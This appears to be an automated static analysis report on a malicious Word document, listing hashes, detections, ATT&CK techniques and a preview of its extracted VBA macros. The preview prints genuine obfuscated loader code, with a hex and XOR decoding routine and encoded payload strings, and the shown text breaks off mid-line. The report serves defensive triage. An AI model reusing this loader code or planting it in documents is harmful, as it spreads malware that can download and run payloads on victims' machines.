Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e7e923eb28413896…

MALICIOUS

Office (OLE)

1.45 MB Created: 2018-06-11 09:05:00 Authoring application: Microsoft Office Word First seen: 2018-11-05
MD5: 05403b31dbd025a27b26661504d7b93c SHA-1: 7d7ad920770a888ce8753ae59822d9ac435f7381 SHA-256: e7e923eb28413896995c5f12443db720d509f61eaebf721c6fddd069e6b82b63
364 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample is a Microsoft Office document containing obfuscated VBA macros, indicated by multiple high-severity heuristic firings including 'Obfuscated auto-exec VBA loader' and 'VBA p-code auto-exec with execution tokens'. The document body explicitly instructs the user to enable macros and editing, a common lure. The VBA macro code attempts to deobfuscate and execute content, likely to download and run a second-stage payload.

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2682887 bytes
SHA-256: 5687321d1bb9bac27d1b0442cd435bbe3e991db34896081cc2ad1095afddeabe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6605 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public beautifullyCelibateRecoilDensityBrassknuckles As String
Public assertionImmaculatelyCheatPanoramic As String

Private Function treasonDisabledSavingsaccountLonelyEyecatching(coniferHillbillyCravatAbdominalIdea)
    On Error Resume Next
    Dim bluesMeteorOarNegationCurrently, blusherBellChuckle
    Set bluesMeteorOarNegationCurrently = CreateObject("Microsoft.XMLDOM")
    Set blusherBellChuckle = bluesMeteorOarNegationCurrently.createElement("outgoingTurnoutBoxofficeElectrolysis")
    blusherBellChuckle.DataType = "bin.hex"
    blusherBellChuckle.Text = coniferHillbillyCravatAbdominalIdea
    treasonDisabledSavingsaccountLonelyEyecatching = blusherBellChuckle.NodeTypedValue
End Function

Function postmortemMakeTie(invalidateFarmersmarketFireproofFoamyMultimedia As String, consideringPlayerHeroicPanacea As Long) As String
    Dim immenselyNowadaysMaverick
    immenselyNowadaysMaverick = treasonDisabledSavingsaccountLonelyEyecatching(invalidateFarmersmarketFireproofFoamyMultimedia)
    Dim harmonizationExterminateInfoTrackrecord As String
    harmonizationExterminateInfoTrackrecord = ""

    For Each extensionTrapLargescalePrideLemon In immenselyNowadaysMaverick
        harmonizationExterminateInfoTrackrecord = harmonizationExterminateInfoTrackrecord & Chr(extensionTrapLargescalePrideLemon Xor consideringPlayerHeroicPanacea)
    Next extensionTrapLargescalePrideLemon
    postmortemMakeTie = harmonizationExterminateInfoTrackrecord
End Function
Sub facetPubIdiocy()
    beautifullyCelibateRecoilDensityBrassknuckles = beautifullyCelibateRecoilDensityBrassknuckles & postmortemMakeTie("31740f1c0e202a26762028740e1416210f27282931156b0b237c1d0109127017057570172b03086b001477710e02312931157470130620297d3e7321272729141d712c1308032122037033", 68)
    beautifullyCelibateRecoilDensityBrassknuckles = beautifullyCelibateRecoilDensityBrassknuckles & postmortemMakeTie("043723661f1c1431333810011c0c312f03652f386f1f1b2c6f03230c6222241d0c1930600e10126011183f011767046f1f3c2638201514341835661b0c622f021737633560613e2e321979", 86)
    beautifullyCelibateRecoilDensityBrassknuckles = beautifullyCelibateRecoilDensityBrassknuckles & postmortemMakeTie("92da80d7f1f6c3c38d8bffd081f8d1f1dadaecfdfecde0d4c18af3d1dadcecfad292fbe08dcce188f18adfeff3e0ffea8d888af3f2d8d0cdece3dcffe1d6fdd6fed2ecf3e98cdef6eb80d4", 185)
    beautifullyCelibateRecoilDensityBrassknuckles = beautifullyCelibateRecoilDensityBrassknuckles & postmortemMakeTie("750c0e3033282c76322e6a2e3f703f3c340f1704082e00173d762e2b0f14171d3d0231036e203f1177233c341631160727040915020f7076130200017c1231360728232e2317143f22012b", 69)
    beautifullyCelibateRecoilDensityBrassknuckles = beautifullyCelibateRecoilDensityBrassknuckles & postmortemMakeTie("fecbd7fe9f97e5cce9edf6c5c485e5e5e3fbc0fdc8e5fefcc99ade97ccffffebfcccd4d7cbf4f69ee5e8e5f7cb9ef9d6d8eafcc1fa9ec6f4d6c4efd8c7cbe19b999fe7d797cddfd4ed9cd7", 174)
    beautifullyCelibateRecoilDensityBrassknuckles = beautifullyCelibateRecoilDensityBrassknuckles & postmortemMakeTie("66796179275d7d617771596c585426677762745061622651575b705472625b5b605a5d594c7a59794278535a4e612020437d2323723d434e2364264f546c7a21402e66274570457e7c795a", 22)
    beautifullyCelibateRecoilDensityBrassknuckles = beautifullyCelibateRecoilDensityBrassknuckles & postmortemMakeTie("05130930341e2f2d251a341836493c12251330094436521a161a2e4b2a52361537143411343c394f134a131049181a32332b481f360b352d240a16114b2f390e4b0e05114f492b1b39300d", 125)
    beautifullyCelibateRecoilDensityBrassknuckles = beautifullyCelibateRecoilDensityBrassknuckles & postmortemMakeTie("3b5d200b5b58225b18123f211b24282d3d0f3f21393925393c1b1d3c0b26215f19332c5f3b380630043c1c05273d3c413f5313203c053a5d0e08301f5230044113321e5b190d332b03045e", 106)
    beautifullyCelibateRecoilDensityBra
... (truncated)